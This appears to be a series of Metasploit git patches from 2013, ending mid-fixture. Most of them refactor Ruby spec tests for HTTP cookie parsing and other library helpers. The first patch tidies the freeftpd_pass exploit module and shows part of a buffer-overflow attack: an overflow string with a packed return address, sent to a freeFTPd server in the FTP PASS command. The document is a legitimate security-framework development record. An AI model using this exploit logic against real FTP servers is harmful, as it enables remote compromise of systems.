<juan.vazquez@metasploit.com> Date: Fri, 27 Sep 2013 09:47:39 -0500 Subject: [PATCH 054/210] Clean up freeftpd_pass --- modules/exploits/windows/ftp/freeftpd_pass.rb | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/modules/exploits/windows/ftp/freeftpd_pass.rb b/modules/exploits/windows/ftp/freeftpd_pass.rb index 3c605a3db7..5adca83102 100644 --- a/modules/exploits/windows/ftp/freeftpd_pass.rb +++ b/modules/exploits/windows/ftp/freeftpd_pass.rb @@ -34,15 +34,14 @@ class Metasploit3 < Msf::Exploit::Remote [ ['OSVDB', '96517'], ['EDB', '27747'], - ['BID', '61905'], - ['URL', 'http://www.freesshd.com'] + ['BID', '61905'] ], 'Payload' => { 'BadChars' => "\x00\x0a\x0d", }, 'Platform' => 'win', - 'Arch' => [ ARCH_X86 ], + 'Arch' => ARCH_X86, 'Targets' => [ ['freeFTPd 1.0.10 and below on Windows Desktop Version', @@ -97,7 +96,8 @@ class Metasploit3 < Msf::Exploit::Remote bof << [target.ret].pack('V') send_user(datastore['FTPUSER']) - send_pass(bof) + raw_send("PASS #{bof}\r\n") + disconnect end end From 57862125b9d993f395e48fda5f5991fd313e8e03 Mon Sep 17 00:00:00 2001 From: Tod Beardsley <tod_beardsley@rapid7.com> Date: Fri, 27 Sep 2013 09:53:04 -0500 Subject: [PATCH 055/210] Use shuffle and *splat operator to test arrays Also, move the local variables to inside the describe block to avoid any future scope issues. --- spec/lib/rex/proto/http/response_spec.rb | 50 ++++++++++++++---------- 1 file changed, 29 insertions(+), 21 deletions(-) diff --git a/spec/lib/rex/proto/http/response_spec.rb b/spec/lib/rex/proto/http/response_spec.rb index 255a34820e..fd8e40bd3d 100644 --- a/spec/lib/rex/proto/http/response_spec.rb +++ b/spec/lib/rex/proto/http/response_spec.rb @@ -1,6 +1,8 @@ require 'rex/proto/http/response' -get_cookies_test_1 = ' +describe Rex::Proto::Http::Response do + + get_cookies_test_no_cookies = ' HTTP/1.1 200 OK Date: Fri, 26 Apr 2013 12:43:12 GMT Server: Apache/2.2.22 (Ubuntu) @@ -16,7 +18,7 @@ Content-Type: text/html <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "DTD/xhtml1-transitional.dtd">' -get_cookies_test_2 = ' + get_cookies_test_five_cookies = ' HTTP/1.1 200 OK Date: Fri, 26 Apr 2013 08:44:54 GMT Server: Apache/2.2.22 (Ubuntu) @@ -38,7 +40,7 @@ Content-Type: text/html; charset=utf-8 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">' -get_cookies_test_3 = ' + get_cookies_test_five_ordered_cookies = ' HTTP/1.1 200 OK Date: Fri, 26 Apr 2013 08:44:54 GMT Server: Apache/2.2.22 (Ubuntu) @@ -60,7 +62,7 @@ Content-Type: text/html; charset=utf-8 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">' -get_cookies_test_4 =' + get_cookies_test_with_empty_cookie =' HTTP/1.1 200 OK Date: Fri, 26 Apr 2013 08:44:54 GMT Server: Apache/2.2.22 (Ubuntu) @@ -82,7 +84,7 @@ Content-Type: text/html; charset=utf-8 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">' -get_cookies_test_5 =' + get_cookies_test_one_set_cookie_header =' HTTP/1.1 200 OK Date: Wed, 25 Sep 2013 20:29:23 GMT Server: Apache/2.2.22 (Ubuntu) @@ -99,16 +101,15 @@ Content-Type: text/html; charset=UTF-8 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">' -describe Rex::Proto::Http::Response do it 'get_cookies returns empty string for no Set-Cookies' do resp = described_class.new() - resp.parse(get_cookies_test_1) + resp.parse(get_cookies_test_no_cookies) resp.get_cookies.should eq('') end - it 'get_cookies returns 5 cookies for test 2' do + it 'get_cookies returns 5 cookies when given 5 cookies non-sequentially' do resp = described_class.new() - resp.parse(get_cookies_test_2) + resp.parse(get_cookies_test_five_cookies) cookies = resp.get_cookies cookies.should_not be_nil cookies.should_not be '' @@ -123,51 +124,58 @@ describe Rex::Proto::Http::Response do ) end - it 'get_cookies returns 5 cookies for test 3 and parses full cookie' do + it 'get_cookies returns and parses 5 cookies when given 5 ordered cookies' do resp = described_class.new() - resp.parse(get_cookies_test_3) + resp.parse(get_cookies_test_five_ordered_cookies) cookies = resp.get_cookies cookies.should_not be_nil cookies.should_not be '' cookies_array = cookies.split(';').map(&:strip) cookies_array.count.should eq(5) - cookies_array.should =~ %w( + expected_cookies = %w{ pma_lang=en pma_collation_connection=utf8_general_ci pma_mcrypt_iv=mF1NmTE64IY%3D phpMyAdmin=fmilioji5cn4m8bo5vjrrr6q9cada954 superC00kie!=stupidcookie - ) + } + expected_cookies.shuffle! + cookies_array.should include(*expected_cookies) end - it 'get_cookies returns 5 cookies for test 4 and parses empty value' do + it 'get_cookies correctly parses an empty cookie value' do resp = described_class.new() - resp.parse(get_cookies_test_4) + resp.parse(get_cookies_test_with_empty_cookie) cookies = resp.get_cookies cookies.should_not be_nil cookies.should_not be '' cookies_array = cookies.split(';').map(&:strip) cookies_array.count.should eq(5) - cookies_array.should =~ %w( + expected_cookies = %w{ pma_lang=en pma_collation_connection=utf8_general_ci pma_mcrypt_iv=mF1NmTE64IY%3D phpMyAdmin= phpMyAdmin=gpjif0gtpqbvfion91ddtrq8p8vgjtue - ) + } + expected_cookies.shuffle! + cookies_array.should include(*expected_cookies) + end - it 'parses multiple cookies in one Set-Cookie header correctly' do + it 'parses multiple cookies in one Set-Cookie header' do resp = described_class.new() - resp.parse(get_cookies_test_5) + resp.parse(get_cookies_test_one_set_cookie_header) cookies = resp.get_cookies cookies.should_not be_nil cookies.should_not be '' cookies_array = cookies.split(';').map(&:strip) cookies_array.count.should eq(2) - cookies_array.should =~ %w( + expected_cookies = %w{ wordpressuser_a97c5267613d6de70e821ff82dd1ab94=admin wordpresspass_a97c5267613d6de70e821ff82dd1ab94=c3284d0f94606de1fd2af172aba15bf3 - ) + } + expected_cookies.shuffle! + cookies_array.should include(*expected_cookies) end end From 5e95df13704ba378294ee1da51d95e490f412dc9 Mon Sep 17 00:00:00 2001 From: Tod Beardsley <tod_beardsley@rapid7.com> Date: Fri, 27 Sep 2013 10:02:22 -0500 Subject: [PATCH 056/210] Convert local variables to HEREDOC methods --- spec/lib/rex/proto/http/response_spec.rb | 193 ++++++++++++----------- 1 file changed, 104 insertions(+), 89 deletions(-) diff --git a/spec/lib/rex/proto/http/response_spec.rb b/spec/lib/rex/proto/http/response_spec.rb index fd8e40bd3d..3d5b05e68e 100644 --- a/spec/lib/rex/proto/http/response_spec.rb +++ b/spec/lib/rex/proto/http/response_spec.rb @@ -2,104 +2,119 @@ require 'rex/proto/http/response' describe Rex::Proto::Http::Response do - get_cookies_test_no_cookies = ' -HTTP/1.1 200 OK -Date: Fri, 26 Apr 2013 12:43:12 GMT -Server: Apache/2.2.22 (Ubuntu) -X-Powered-By: PHP/5.4.6-1ubuntu1.2 -Expires: Thu, 19 Nov 1981 08:52:00 GMT -Cache-Control: private, max-age=10800, pre-check=10800 -Last-Modified: Fri, 26 Apr 2013 12:01:52 GMT -Vary: Accept-Encoding -Content-Length: 63951 -Keep-Alive: timeout=5, max=100 -Connection: Keep-Alive -Content-Type: text/html + def get_cookies_test_no_cookies + <<-HEREDOC.gsub(/^ {6}/, '') + HTTP/1.1 200 OK + Date: Fri, 26 Apr 2013 12:43:12 GMT + Server: Apache/2.2.22 (Ubuntu) + X-Powered-By: PHP/5.4.6-1ubuntu1.2 + Expires: Thu, 19 Nov 1981 08:52:00 GMT + Cache-Control: private, max-age=10800, pre-check=10800 + Last-Modified: Fri, 26 Apr 2013 12:01:52 GMT + Vary: Accept-Encoding + Content-Length: 63951 + Keep-Alive: timeout=5, max=100 + Connection: Keep-Alive + Content-Type: text/html -<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "DTD/xhtml1-transitional.dtd">' + <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "DTD/xhtml1-transitional.dtd">' + HEREDOC + end - get_cookies_test_five_cookies = ' -HTTP/1.1 200 OK -Date: Fri, 26 Apr 2013 08:44:54 GMT -Server: Apache/2.2.22 (Ubuntu) -X-Powered-By: PHP/5.4.6-1ubuntu1.2 -Set-Cookie: phpMyAdmin=gpjif0gtpqbvfion91ddtrq8p8vgjtue; path=/phpmyadmin/; HttpOnly -Expires: Thu, 19 Nov 1981 08:52:00 GMT -Cache-Control: private, max-age=10800, pre-check=10800 -Last-Modified: Sun, 12 Aug 2012 13:38:18 GMT -Set-Cookie: pma_lang=en; expires=Sun, 26-May-2013 08:44:54 GMT; path=/phpmyadmin/; httponly -Set-Cookie: pma_collation_connection=utf8_general_ci; expires=Sun, 26-May-2013 08:44:54 GMT; path=/phpmyadmin/; httponly -Set-Cookie: pma_mcrypt_iv=mF1NmTE64IY%3D; expires=Sun, 26-May-2013 08:44:54 GMT; path=/phpmyadmin/; httponly -Set-Cookie: phpMyAdmin=fmilioji5cn4m8bo5vjrrr6q9cada954; path=/phpmyadmin/; HttpOnly -Vary: Accept-Encoding -Content-Length: 7356 -Keep-Alive: timeout=5, max=100 -Connection: Keep-Alive -Content-Type: text/html; charset=utf-8 + def get_cookies_test_five_cookies + <<-HEREDOC.gsub(/^ {6}/, '') + HTTP/1.1 200 OK + Date: Fri, 26 Apr 2013 08:44:54 GMT + Server: Apache/2.2.22 (Ubuntu) + X-Powered-By: PHP/5.4.6-1ubuntu1.2 + Set-Cookie: phpMyAdmin=gpjif0gtpqbvfion91ddtrq8p8vgjtue; path=/phpmyadmin/; HttpOnly + Expires: Thu, 19 Nov 1981 08:52:00 GMT + Cache-Control: private, max-age=10800, pre-check=10800 + Last-Modified: Sun, 12 Aug 2012 13:38:18 GMT + Set-Cookie: pma_lang=en; expires=Sun, 26-May-2013 08:44:54 GMT; path=/phpmyadmin/; httponly + Set-Cookie: pma_collation_connection=utf8_general_ci; expires=Sun, 26-May-2013 08:44:54 GMT; path=/phpmyadmin/; httponly + Set-Cookie: pma_mcrypt_iv=mF1NmTE64IY%3D; expires=Sun, 26-May-2013 08:44:54 GMT; path=/phpmyadmin/; httponly + Set-Cookie: phpMyAdmin=fmilioji5cn4m8bo5vjrrr6q9cada954; path=/phpmyadmin/; HttpOnly + Vary: Accept-Encoding + Content-Length: 7356 + Keep-Alive: timeout=5, max=100 + Connection: Keep-Alive + Content-Type: text/html; charset=utf-8 -<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" -"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">' + <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" + "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> + HEREDOC + end - get_cookies_test_five_ordered_cookies = ' -HTTP/1.1 200 OK -Date: Fri, 26 Apr 2013 08:44:54 GMT -Server: Apache/2.2.22 (Ubuntu) -X-Powered-By: PHP/5.4.6-1ubuntu1.2 -Expires: Thu, 19 Nov 1981 08:52:00 GMT -Cache-Control: private, max-age=10800, pre-check=10800 -Last-Modified: Sun, 12 Aug 2012 13:38:18 GMT -Set-Cookie: pma_lang=en; expires=Sun, 26-May-2013 08:44:54 GMT; path=/phpmyadmin/; httponly -Set-Cookie: pma_collation_connection=utf8_general_ci; expires=Sun, 26-May-2013 08:44:54 GMT; path=/phpmyadmin/; httponly -Set-Cookie: pma_mcrypt_iv=mF1NmTE64IY%3D; expires=Sun, 26-May-2013 08:44:54 GMT; path=/phpmyadmin/; httponly -Set-Cookie: phpMyAdmin=fmilioji5cn4m8bo5vjrrr6q9cada954; path=/phpmyadmin/; HttpOnly -Set-Cookie: superC00kie!=stupidcookie; Path=/parp/; domain=.foo.com; HttpOnly; Expires=Wed, 13-Jan-2012 22:23:01 GMT; Secure -Vary: Accept-Encoding -Content-Length: 7356 -Keep-Alive: timeout=5, max=100 -Connection: Keep-Alive -Content-Type: text/html; charset=utf-8 + def get_cookies_test_five_ordered_cookies + <<-HEREDOC.gsub(/^ {6}/, '') + HTTP/1.1 200 OK + Date: Fri, 26 Apr 2013 08:44:54 GMT + Server: Apache/2.2.22 (Ubuntu) + X-Powered-By: PHP/5.4.6-1ubuntu1.2 + Expires: Thu, 19 Nov 1981 08:52:00 GMT + Cache-Control: private, max-age=10800, pre-check=10800 + Last-Modified: Sun, 12 Aug 2012 13:38:18 GMT + Set-Cookie: pma_lang=en; expires=Sun, 26-May-2013 08:44:54 GMT; path=/phpmyadmin/; httponly + Set-Cookie: pma_collation_connection=utf8_general_ci; expires=Sun, 26-May-2013 08:44:54 GMT; path=/phpmyadmin/; httponly + Set-Cookie: pma_mcrypt_iv=mF1NmTE64IY%3D; expires=Sun, 26-May-2013 08:44:54 GMT; path=/phpmyadmin/; httponly + Set-Cookie: phpMyAdmin=fmilioji5cn4m8bo5vjrrr6q9cada954; path=/phpmyadmin/; HttpOnly + Set-Cookie: superC00kie!=stupidcookie; Path=/parp/; domain=.foo.com; HttpOnly; Expires=Wed, 13-Jan-2012 22:23:01 GMT; Secure + Vary: Accept-Encoding + Content-Length: 7356 + Keep-Alive: timeout=5, max=100 + Connection: Keep-Alive + Content-Type: text/html; charset=utf-8 -<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" -"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">' + <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" + "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> + HEREDOC + end - get_cookies_test_with_empty_cookie =' -HTTP/1.1 200 OK -Date: Fri, 26 Apr 2013 08:44:54 GMT -Server: Apache/2.2.22 (Ubuntu) -X-Powered-By: PHP/5.4.6-1ubuntu1.2 -Set-Cookie: phpMyAdmin=gpjif0gtpqbvfion91ddtrq8p8vgjtue; path=/phpmyadmin/; HttpOnly -Expires: Thu, 19 Nov 1981 08:52:00 GMT -Cache-Control: private, max-age=10800, pre-check=10800 -Last-Modified: Sun, 12 Aug 2012 13:38:18 GMT -Set-Cookie: pma_lang=en; expires=Sun, 26-May-2013 08:44:54 GMT; path=/phpmyadmin/; httponly -Set-Cookie: pma_collation_connection=utf8_general_ci; expires=Sun, 26-May-2013 08:44:54 GMT; path=/phpmyadmin/; httponly -Set-Cookie: pma_mcrypt_iv=mF1NmTE64IY%3D; expires=Sun, 26-May-2013 08:44:54 GMT; path=/phpmyadmin/; httponly -Set-Cookie: phpMyAdmin=; path=/phpmyadmin/; HttpOnly -Vary: Accept-Encoding -Content-Length: 7356 -Keep-Alive: timeout=5, max=100 -Connection: Keep-Alive -Content-Type: text/html; charset=utf-8 + def get_cookies_test_with_empty_cookie + <<-HEREDOC.gsub(/^ {6}/, '') + HTTP/1.1 200 OK + Date: Fri, 26 Apr 2013 08:44:54 GMT + Server: Apache/2.2.22 (Ubuntu) + X-Powered-By: PHP/5.4.6-1ubuntu1.2 + Set-Cookie: phpMyAdmin=gpjif0gtpqbvfion91ddtrq8p8vgjtue; path=/phpmyadmin/; HttpOnly + Expires: Thu, 19 Nov 1981 08:52:00 GMT + Cache-Control: private, max-age=10800, pre-check=10800 + Last-Modified: Sun, 12 Aug 2012 13:38:18 GMT + Set-Cookie: pma_lang=en; expires=Sun, 26-May-2013 08:44:54 GMT; path=/phpmyadmin/; httponly + Set-Cookie: pma_collation_connection=utf8_general_ci; expires=Sun, 26-May-2013 08:44:54 GMT; path=/phpmyadmin/; httponly + Set-Cookie: pma_mcrypt_iv=mF1NmTE64IY%3D; expires=Sun, 26-May-2013 08:44:54 GMT; path=/phpmyadmin/; httponly + Set-Cookie: phpMyAdmin=; path=/phpmyadmin/; HttpOnly + Vary: Accept-Encoding + Content-Length: 7356 + Keep-Alive: timeout=5, max=100 + Connection: Keep-Alive + Content-Type: text/html; charset=utf-8 -<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" -"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">' + <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" + "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> + HEREDOC + end - get_cookies_test_one_set_cookie_header =' -HTTP/1.1 200 OK -Date: Wed, 25 Sep 2013 20:29:23 GMT -Server: Apache/2.2.22 (Ubuntu) -X-Powered-By: PHP/5.4.9-4ubuntu2.2 -Expires: Wed, 11 Jan 1984 05:00:00 GMT -Last-Modified: Wed, 25 Sep 2013 20:29:23 GMT -Cache-Control: no-cache, must-revalidate, max-age=0 -Pragma: no-cache -Set-Cookie: wordpressuser_a97c5267613d6de70e821ff82dd1ab94=admin; path=/wordpress-2.0/, wordpresspass_a97c5267613d6de70e821ff82dd1ab94=c3284d0f94606de1fd2af172aba15bf3; path=/wordpress-2.0/ -Vary: Accept-Encoding -Content-Length: 0 -Content-Type: text/html; charset=UTF-8 + def get_cookies_test_one_set_cookie_header + <<-HEREDOC.gsub(/^ {6}/, '') + HTTP/1.1 200 OK + Date: Wed, 25 Sep 2013 20:29:23 GMT + Server: Apache/2.2.22 (Ubuntu) + X-Powered-By: PHP/5.4.9-4ubuntu2.2 + Expires: Wed, 11 Jan 1984 05:00:00 GMT + Last-Modified: Wed, 25 Sep 2013 20:29:23 GMT + Cache-Control: no-cache, must-revalidate, max-age=0 + Pragma: no-cache + Set-Cookie: wordpressuser_a97c5267613d6de70e821ff82dd1ab94=admin; path=/wordpress-2.0/, wordpresspass_a97c5267613d6de70e821ff82dd1ab94=c3284d0f94606de1fd2af172aba15bf3; path=/wordpress-2.0/ + Vary: Accept-Encoding + Content-Length: 0 + Content-Type: text/html; charset=UTF-8 -<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" -"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">' + <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" + "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> + HEREDOC +end it 'get_cookies returns empty string for no Set-Cookies' do resp = described_class.new() From 467c503fb9f894a91381491813eab1922160d7df Mon Sep 17 00:00:00 2001 From: Tod Beardsley <tod_beardsley@rapid7.com> Date: Fri, 27 Sep 2013 10:07:28 -0500 Subject: [PATCH 057/210] DRY with a cookie_sanity_check method --- spec/lib/rex/proto/http/response_spec.rb | 39 +++++++++--------------- 1 file changed, 14 insertions(+), 25 deletions(-) diff --git a/spec/lib/rex/proto/http/response_spec.rb b/spec/lib/rex/proto/http/response_spec.rb index 3d5b05e68e..1f2191ba0e 100644 --- a/spec/lib/rex/proto/http/response_spec.rb +++ b/spec/lib/rex/proto/http/response_spec.rb @@ -114,7 +114,16 @@ describe Rex::Proto::Http::Response do <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> HEREDOC -end + end + + def cookie_sanity_check(meth) + resp = described_class.new() + resp.parse(self.send meth) + cookies = resp.get_cookies + cookies.should_not be_nil + cookies.should_not be '' + cookies.split(';').map(&:strip) + end it 'get_cookies returns empty string for no Set-Cookies' do resp = described_class.new() @@ -123,12 +132,7 @@ end end it 'get_cookies returns 5 cookies when given 5 cookies non-sequentially' do - resp = described_class.new() - resp.parse(get_cookies_test_five_cookies) - cookies = resp.get_cookies - cookies.should_not be_nil - cookies.should_not be '' - cookies_array = cookies.split(';').map(&:strip) + cookies_array = cookie_sanity_check(:get_cookies_test_five_cookies) cookies_array.count.should eq(5) cookies_array.should =~ %w( pma_lang=en @@ -140,12 +144,7 @@ end end it 'get_cookies returns and parses 5 cookies when given 5 ordered cookies' do - resp = described_class.new() - resp.parse(get_cookies_test_five_ordered_cookies) - cookies = resp.get_cookies - cookies.should_not be_nil - cookies.should_not be '' - cookies_array = cookies.split(';').map(&:strip) + cookies_array = cookie_sanity_check(:get_cookies_test_five_ordered_cookies) cookies_array.count.should eq(5) expected_cookies = %w{ pma_lang=en @@ -159,12 +158,7 @@ end end it 'get_cookies correctly parses an empty cookie value' do - resp = described_class.new() - resp.parse(get_cookies_test_with_empty_cookie) - cookies = resp.get_cookies - cookies.should_not be_nil - cookies.should_not be '' - cookies_array = cookies.split(';').map(&:strip) + cookies_array = cookie_sanity_check(:get_cookies_test_with_empty_cookie) cookies_array.count.should eq(5) expected_cookies = %w{ pma_lang=en @@ -179,12 +173,7 @@ end end it 'parses multiple cookies in one Set-Cookie header' do - resp = described_class.new() - resp.parse(get_cookies_test_one_set_cookie_header) - cookies = resp.get_cookies - cookies.should_not be_nil - cookies.should_not be '' - cookies_array = cookies.split(';').map(&:strip) + cookies_array = cookie_sanity_check(:get_cookies_test_one_set_cookie_header) cookies_array.count.should eq(2) expected_cookies = %w{ wordpressuser_a97c5267613d6de70e821ff82dd1ab94=admin From 623aeb367f9d364f65528d839d714db7688dcc39 Mon Sep 17 00:00:00 2001 From: Tod Beardsley <tod_beardsley@rapid7.com> Date: Fri, 27 Sep 2013 10:12:11 -0500 Subject: [PATCH 058/210] Set a context for #get_cookies --- spec/lib/rex/proto/http/response_spec.rb | 11 +++++++---- 1 file changed, 7 insertions(+), 4 deletions(-) diff --git a/spec/lib/rex/proto/http/response_spec.rb b/spec/lib/rex/proto/http/response_spec.rb index 1f2191ba0e..ffdeabc929 100644 --- a/spec/lib/rex/proto/http/response_spec.rb +++ b/spec/lib/rex/proto/http/response_spec.rb @@ -125,13 +125,15 @@ describe Rex::Proto::Http::Response do cookies.split(';').map(&:strip) end - it 'get_cookies returns empty string for no Set-Cookies' do + context "#get_cookies" do + + it 'returns empty string for no Set-Cookies' do resp = described_class.new() resp.parse(get_cookies_test_no_cookies) resp.get_cookies.should eq('') end - it 'get_cookies returns 5 cookies when given 5 cookies non-sequentially' do + it 'returns 5 cookies when given 5 cookies non-sequentially' do cookies_array = cookie_sanity_check(:get_cookies_test_five_cookies) cookies_array.count.should eq(5) cookies_array.should =~ %w( @@ -143,7 +145,7 @@ describe Rex::Proto::Http::Response do ) end - it 'get_cookies returns and parses 5 cookies when given 5 ordered cookies' do + it 'returns and parses 5 cookies when given 5 ordered cookies' do cookies_array = cookie_sanity_check(:get_cookies_test_five_ordered_cookies) cookies_array.count.should eq(5) expected_cookies = %w{ @@ -157,7 +159,7 @@ describe Rex::Proto::Http::Response do cookies_array.should include(*expected_cookies) end - it 'get_cookies correctly parses an empty cookie value' do + it 'parses an empty cookie value' do cookies_array = cookie_sanity_check(:get_cookies_test_with_empty_cookie) cookies_array.count.should eq(5) expected_cookies = %w{ @@ -183,3 +185,4 @@ describe Rex::Proto::Http::Response do cookies_array.should include(*expected_cookies) end end +end From 103a64a32a9854cad4ac3e0ec538d2d7424c2341 Mon Sep 17 00:00:00 2001 From: Tod Beardsley <tod_beardsley@rapid7.com> Date: Fri, 27 Sep 2013 10:22:46 -0500 Subject: [PATCH 059/210] Indent like a sane person. --- spec/lib/rex/proto/http/response_spec.rb | 75 ++++++++++++------------ 1 file changed, 39 insertions(+), 36 deletions(-) diff --git a/spec/lib/rex/proto/http/response_spec.rb b/spec/lib/rex/proto/http/response_spec.rb index ffdeabc929..dc474a0877 100644 --- a/spec/lib/rex/proto/http/response_spec.rb +++ b/spec/lib/rex/proto/http/response_spec.rb @@ -115,7 +115,7 @@ describe Rex::Proto::Http::Response do "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> HEREDOC end - + def cookie_sanity_check(meth) resp = described_class.new() resp.parse(self.send meth) @@ -127,62 +127,65 @@ describe Rex::Proto::Http::Response do context "#get_cookies" do - it 'returns empty string for no Set-Cookies' do - resp = described_class.new() - resp.parse(get_cookies_test_no_cookies) - resp.get_cookies.should eq('') - end + it 'returns empty string for no Set-Cookies' do + resp = described_class.new() + resp.parse(get_cookies_test_no_cookies) + resp.get_cookies.should eq('') + end - it 'returns 5 cookies when given 5 cookies non-sequentially' do - cookies_array = cookie_sanity_check(:get_cookies_test_five_cookies) - cookies_array.count.should eq(5) - cookies_array.should =~ %w( + it 'returns 5 cookies when given 5 cookies non-sequentially' do + cookies_array = cookie_sanity_check(:get_cookies_test_five_cookies) + cookies_array.count.should eq(5) + cookies_array.should =~ %w( pma_lang=en pma_collation_connection=utf8_general_ci pma_mcrypt_iv=mF1NmTE64IY%3D phpMyAdmin=fmilioji5cn4m8bo5vjrrr6q9cada954 phpMyAdmin=gpjif0gtpqbvfion91ddtrq8p8vgjtue - ) - end + ) + end - it 'returns and parses 5 cookies when given 5 ordered cookies' do - cookies_array = cookie_sanity_check(:get_cookies_test_five_ordered_cookies) - cookies_array.count.should eq(5) - expected_cookies = %w{ + it 'returns and parses 5 cookies when given 5 ordered cookies' do + cookies_array = cookie_sanity_check(:get_cookies_test_five_ordered_cookies) + cookies_array.count.should eq(5) + expected_cookies = %w{ pma_lang=en pma_collation_connection=utf8_general_ci pma_mcrypt_iv=mF1NmTE64IY%3D phpMyAdmin=fmilioji5cn4m8bo5vjrrr6q9cada954 superC00kie!=stupidcookie - } - expected_cookies.shuffle! - cookies_array.should include(*expected_cookies) - end + } + expected_cookies.shuffle! + cookies_array.should include(*expected_cookies) + end - it 'parses an empty cookie value' do - cookies_array = cookie_sanity_check(:get_cookies_test_with_empty_cookie) - cookies_array.count.should eq(5) - expected_cookies = %w{ + it 'parses an empty cookie value' do + cookies_array = cookie_sanity_check(:get_cookies_test_with_empty_cookie) + cookies_array.count.should eq(5) + expected_cookies = %w{ pma_lang=en pma_collation_connection=utf8_general_ci pma_mcrypt_iv=mF1NmTE64IY%3D phpMyAdmin= phpMyAdmin=gpjif0gtpqbvfion91ddtrq8p8vgjtue - } - expected_cookies.shuffle! - cookies_array.should include(*expected_cookies) + } + expected_cookies.shuffle! + cookies_array.should include(*expected_cookies) - end + end - it 'parses multiple cookies in one Set-Cookie header' do - cookies_array = cookie_sanity_check(:get_cookies_test_one_set_cookie_header) - cookies_array.count.should eq(2) - expected_cookies = %w{ + it 'parses multiple cookies in one Set-Cookie header' do + cookies_array = cookie_sanity_check(:get_cookies_test_one_set_cookie_header) + cookies_array.count.should eq(2) + expected_cookies = %w{ wordpressuser_a97c5267613d6de70e821ff82dd1ab94=admin wordpresspass_a97c5267613d6de70e821ff82dd1ab94=c3284d0f94606de1fd2af172aba15bf3 - } - expected_cookies.shuffle! - cookies_array.should include(*expected_cookies) + } + expected_cookies.shuffle! + cookies_array.should include(*expected_cookies) + end + end + end -end + From 8f957a5394827d8924b350869bed5286d9ba9692 Mon Sep 17 00:00:00 2001 From: Tod Beardsley <tod_beardsley@rapid7.com> Date: Fri, 27 Sep 2013 11:27:31 -0500 Subject: [PATCH 060/210] Add spec for new #to_h method --- .../rex/random_identifier_generator_spec.rb | 18 ++++++++++++++++++ 1 file changed, 18 insertions(+) diff --git a/spec/lib/rex/random_identifier_generator_spec.rb b/spec/lib/rex/random_identifier_generator_spec.rb index 1660f4898c..d75a03f5fd 100644 --- a/spec/lib/rex/random_identifier_generator_spec.rb +++ b/spec/lib/rex/random_identifier_generator_spec.rb @@ -11,6 +11,8 @@ describe Rex::RandomIdentifierGenerator do it { should respond_to(:generate) } it { should respond_to(:[]) } it { should respond_to(:get) } + it { should respond_to(:store) } + it { should respond_to(:to_h) } describe "#generate" do it "should respect :min_length" do @@ -120,4 +122,20 @@ describe Rex::RandomIdentifierGenerator do end end + + describe "#to_h" do + it "should return a Hash" do + rig.to_h.should be_kind_of(Hash) + end + it "should return expected key-value pairs" do + expected_keys = [:var_foo, :var_bar] + expected_keys.shuffle.each do |key| + rig.init_var(key) + end + rig.to_h.size.should eq(expected_keys.size) + rig.to_h.keys.should include(*expected_keys) + rig.to_h.values.map {|v| v.class}.uniq.should eq([String]) + end + end + end From 6345fb27880827338db5bf68ae71c7889333d0b1 Mon Sep 17 00:00:00 2001 From: Tod Beardsley <tod_beardsley@rapid7.com> Date: Fri, 27 Sep 2013 12:59:10 -0500 Subject: [PATCH 061/210] Use described_class --- spec/lib/rex/parser/unattend_spec.rb | 11 +++++------ 1 file changed, 5 insertions(+), 6 deletions(-) diff --git a/spec/lib/rex/parser/unattend_spec.rb b/spec/lib/rex/parser/unattend_spec.rb index f5eb907fc8..d3536532c8 100644 --- a/spec/lib/rex/parser/unattend_spec.rb +++ b/spec/lib/rex/parser/unattend_spec.rb @@ -9,24 +9,23 @@ std = REXML::Document.new('<?xml version="1.0" ?> <unattend xmlns="urn:schemas-m unsecure = REXML::Document.new('<?xml version="1.0" encoding="utf-8"?><unattend xmlns="urn:schemas-microsoft-com:unattend"> <settings pass="specialize"> <component name="Microsoft-Windows-UnattendedJoin" processorArchitecture="x86" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" xmlns:wcm="http://schemas.microsoft.com/WMIConfig/2002/State" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <Identification> <UnsecureJoin>true</UnsecureJoin> </Identification> </component> <component name="Microsoft-Windows-Shell-Setup" processorArchitecture="x86" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" xmlns:wcm="http://schemas.microsoft.com/WMIConfig/2002/State" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> 